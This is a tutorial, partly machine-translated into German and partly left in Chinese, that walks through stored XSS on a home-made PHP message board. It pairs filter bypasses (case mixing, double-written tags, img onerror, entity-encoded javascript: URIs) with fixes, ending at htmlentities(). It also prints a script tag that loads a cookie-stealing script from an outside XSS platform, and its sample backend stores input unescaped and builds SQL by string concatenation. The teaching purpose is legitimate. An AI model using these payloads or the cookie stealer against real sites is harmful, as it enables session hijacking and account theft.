Praktischer Angriff und Schutz von einmal gespeichertem XSS

王林
Freigeben: 2019-12-03 17:42:52
nach vorne
3709 Leute haben es durchsucht

Praktischer Angriff und Schutz von einmal gespeichertem XSS

Was wird in XSS gespeichert? Um den Zweck des Angriffs zu erreichen, wird normalerweise ein JavaScript-Skript eingefügt. Während des Testprozesses verwenden wir normalerweise:

<script>alert(1)</script>
Nach dem Login kopieren
Verwenden Sie diesen js-Code, um ein Popup-Fenster zu öffnen und das Vorhandensein einer XSS-Schwachstelle zu beweisen. Neulinge fragen sich vielleicht: Was nützt es, eine Box aufzuklappen?

Eigentlich dient das Popup-Fenster nur dazu, die Existenz dieser Sicherheitslücke zu beweisen. Es gibt viele Möglichkeiten, diese Sicherheitslücke auszunutzen.

Zum Beispiel können Sie die XSS-Plattform verwenden:

Schreiben Sie ein von der Plattform generiertes XSS-Skript:

<script src=//xsspt.com/ZsgUBf></script>
Nach dem Login kopieren
Praktischer Angriff und Schutz von einmal gespeichertem XSSWenn jemand eintritt die Zone Wenn es eine Seite mit diesem Skript gibt, ruft das JS-Skript sein Cookie ab und sendet es an die XSS-Plattform.

Sie müssen sich nur bei der xss-Plattform anmelden und warten. Nachdem Sie das Cookie erhalten haben, können Sie sich ohne Passwort bei seinem Konto anmelden.

Hinweis: Der Schwerpunkt dieses Artikels liegt auf der schrittweisen Durchführung von XSS-Angriffen aus der Sicht eines Hackers und der anschließenden schrittweisen Erörterung der Abwehr von XSS-Angriffen aus der Sicht eines Entwicklers. Daher werde ich in diesem Artikel als Entwickler den Back-End-Code korrigieren und dann als Hacker XSS-Angriffe auf die Front-End-Seite durchführen.

Was die Manifestation gespeicherter XSS-Schwachstellen betrifft, ist das Message Board die klassischere. Aber wir sind alle gute Studenten, die sich an die Gesetze halten und keine externen Websites testen können, also haben wir eine halbe Stunde damit verbracht, selbst ein Message Board zu erstellen. Zunächst sollte es eine Front-End-Anzeigeseite Message_Board.php und eine Back-End-Datenspeicherseite addMessage.php geben

Die Vorderseite -End-Code steht nicht im Mittelpunkt dieses Artikels (interessant, Sie können es selbst überprüfen

Front-End-CodePraktischer Angriff und Schutz von einmal gespeichertem XSS), wir konzentrieren uns auf den Back-End-Code addMessage.php:

<?php
	$nickname = @$_POST[&#39;nickname&#39;];//昵称
	$email = @$_POST[&#39;email&#39;];//邮箱
	$content = @$_POST[&#39;content&#39;];//留言内容
	$now_time = @$_POST[&#39;now_time&#39;];//留言时间
	$ini= @parse_ini_file("config.ini");
    $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]);	if($con){
		mysql_query("set names &#39;utf8&#39;");//解决中文乱码问题
		mysql_select_db($ini["dbname"]);
		$sql1 = "select count(*) from message_board";
		$result = mysql_query($sql1);
		$floor = mysql_fetch_row($result)[0] + 1;
		$sql = "insert into message_board values
($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")";
		mysql_query($sql);
	}?>
Nach dem Login kopieren

Wie Sie Wie Sie sehen, haben wir die vier übergebenen Parameter überhaupt nicht verarbeitet, sondern direkt in der Datenbank gespeichert. Solange wir also Folgendes eingeben:

Nach der Übermittlung aktualisiert das System die Seite automatisch und es erscheint ein Popup-Fenster:

Praktischer Angriff und Schutz von einmal gespeichertem XSS

Nachdem Sie auf OK geklickt haben, werden Sie feststellen, dass sowohl der Nachrichteninhalt als auch der Absender der Nachricht leer sind.

Praktischer Angriff und Schutz von einmal gespeichertem XSS

Das liegt daran, dass das js-Skript analysiert wurde. Zu diesem Zeitpunkt drücken wir F12, öffnen die Entwicklertools des Browsers und suchen das js-Skript.

Praktischer Angriff und Schutz von einmal gespeichertem XSS

Hier kommt also die Frage.

Praktischer Angriff und Schutz von einmal gespeichertem XSSSchließlich haben wir eine andere Identität, wie können sich Entwickler dagegen wehren?

0×00, das einfachste, ändern Sie einfach den Front-End-Code

Fügen Sie das Maxlength-Attribut im Eingabe-Tag hinzu

<input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">
Nach dem Login kopieren
Was Das Prinzip: Da das JS-Skript die Form <script></script> hat und die Länge 17 beträgt, können wir Hacker daran hindern, XSS-Angriffe auszuführen, solange wir die Länge im Frontend begrenzen.

Aber! Entwicklung ist nicht so einfach!

Wir sind Hacker, die sich weiterentwickeln wollen, also müssen wir es selbst tun.

Als Angreifer können wir auch den Front-End-Code ändern. Der spezifische Vorgang besteht darin, die F12-Funktion (Entwicklertools) des Browsers zu verwenden.

Das ist möglich Sehen Sie, wir können die Länge direkt ändern.

Praktischer Angriff und Schutz von einmal gespeichertem XSSDarüber hinaus können Sie mit der Paketerfassungsmethode auch direkt in das Paket schreiben, das nicht durch die Länge begrenzt ist.

0×01. Filtern Sie das Schlüsselwortskript

Als Entwickler können Sie leicht feststellen, dass Sie zum Ausführen eines XSS-Angriffs ein JS-Skript einfügen müssen , und Die Eigenschaften von js-Skripten sind sehr offensichtlich. Das Skript enthält das Schlüsselwort script, sodass wir nur eine Skriptfilterung durchführen müssen. Gehe zurück zum vorherigen Code.

Der Einfachheit halber verwende ich nur den Nickname-Parameter. Tatsächlich müssen die vier übergebenen Parameter auf die gleiche Weise verarbeitet werden.

$nickname = str_replace("script", "", @$_POST[&#39;nickname&#39;]);//昵称
Nach dem Login kopieren

上面这个str_replace()函数的意思是把script替换为空。

可以看到,script被替换为空,弹框失败。

Praktischer Angriff und Schutz von einmal gespeichertem XSS

那么黑客该如何继续进行攻击呢?

答案是:大小写绕过

<sCrIPt>alert(1)</ScripT>
Nach dem Login kopieren

Praktischer Angriff und Schutz von einmal gespeichertem XSS

因为js是不区分大小写的,所以我们的大小写不影响脚本的执行。

成功弹框!

Praktischer Angriff und Schutz von einmal gespeichertem XSS

0×02、使用str_ireplace()函数进行不区分大小写地过滤script关键字

作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛。

后端代码修正如下:

$nickname = str_ireplace("script", "", @$_POST[&#39;nickname&#39;]);//昵称
Nach dem Login kopieren

str_ireplace()函数类似于上面的str_replace(),但是它不区分大小写。

那么,黑客该如何绕过?

答案是:双写script

<Sscriptcript>alert(1)</Sscriptcript>
Nach dem Login kopieren

Praktischer Angriff und Schutz von einmal gespeichertem XSS

原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。

弹框成功!

Praktischer Angriff und Schutz von einmal gespeichertem XSS

0×03、使用preg_replace()函数进行正则表达式过滤script关键字

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST[&#39;nickname&#39;]);//昵称
Nach dem Login kopieren

显然,弹框失败。

Praktischer Angriff und Schutz von einmal gespeichertem XSS

攻击者如何再一次绕过?

答案是:用img标签的oneerror属性

<img  src=x onerror=alert(1) alt="Praktischer Angriff und Schutz von einmal gespeichertem XSS" >
Nach dem Login kopieren

0×04、过滤alert关键字

看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST[&#39;nickname&#39;]);//昵称
$nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//昵称
Nach dem Login kopieren

那么,攻击者该怎么办呢?

答案是:编码绕过

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#49;&#41;>a</a>
Nach dem Login kopieren

当点击页面上的超链接时,会弹框。

Praktischer Angriff und Schutz von einmal gespeichertem XSS

但是为什么呢?

这种编码方式为字符编码

字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“&#数值;”, 例如“j”可以编码为“j”或“j ”

上述代码解码之后如下:

<a href=javascript:alert(1)>a</a>
Nach dem Login kopieren

你能明显感觉到限制:由于使用到了a标签,所以只有点击时,才会弹框。

作为一个大黑阔,我们当然是不满意的,能不能让所有进入这个页面的人都弹框?

当然可以了:用iframe标签编码

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;
&#41;>
Nach dem Login kopieren

这种写法,同样既没有script关键字,又没有alert关键字。

Praktischer Angriff und Schutz von einmal gespeichertem XSS

可以看到弹框成功!

Praktischer Angriff und Schutz von einmal gespeichertem XSS

可是你也能看到,由于使用了iframe标签,留言板的样式已经变形了。实战中尽量不要用。

0×05、过滤特殊字符

优秀的开发,永不认输!你个小小的黑阔,不就是会插入js代码么?我过滤特殊字符,看你代码咋被解析?

可是我不想手撸代码来列举那么多特殊字符怎么办?

php给我们提供了htmlentities()函数:

$nickname = htmlentities(@$_POST[&#39;nickname&#39;]);//昵称
Nach dem Login kopieren

htmlentities()函数的作用是把字符转换为 HTML 实体。

Praktischer Angriff und Schutz von einmal gespeichertem XSS

看到这里,你可能还是不明白HTML字符实体是什么。我举个例子吧,当你想在HTML页面上显示一个小于号(<)时,浏览器会认为这是标签的一部分(因为所有标签都由大于号,标签名和小于号构成),因此,为了能在页面上显示这个小于号(<),我们引入了HTML字符实体的概念,能够在页面上显示类似于小于号(<)这样的特殊符号,而不会影响到页面标签的解析。

可以看到,我们输入的内容全部显示在页面上了。

Praktischer Angriff und Schutz von einmal gespeichertem XSS

可是却没有弹框。

我们鼠标右键,查看网页源代码

Praktischer Angriff und Schutz von einmal gespeichertem XSS

际上,我们输入的内容已经变成了HTML实体:

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;
&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
Nach dem Login kopieren

无法被解析为js脚本。

黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)

0×06、总结

开发者不应该只考虑关键字的过滤,还应该考虑特殊符号的过滤 。

黑客在面对未知的情况时,要不断尝试,这对于知识的储备量有较高的要求。

对于xss攻击,站在开发者角度来讲,仅仅用一个htmlentities()函数基本可以做到防御,可是一个优秀的开发者应该明白它的原理。站在黑客的角度来讲,面对环境的逐步变化,条件的逐步限制,攻击思路灵活变化是对整个职业生涯有益的。

相关文章教程推荐:web服务器安全

Das obige ist der detaillierte Inhalt vonPraktischer Angriff und Schutz von einmal gespeichertem XSS. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:freebuf.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage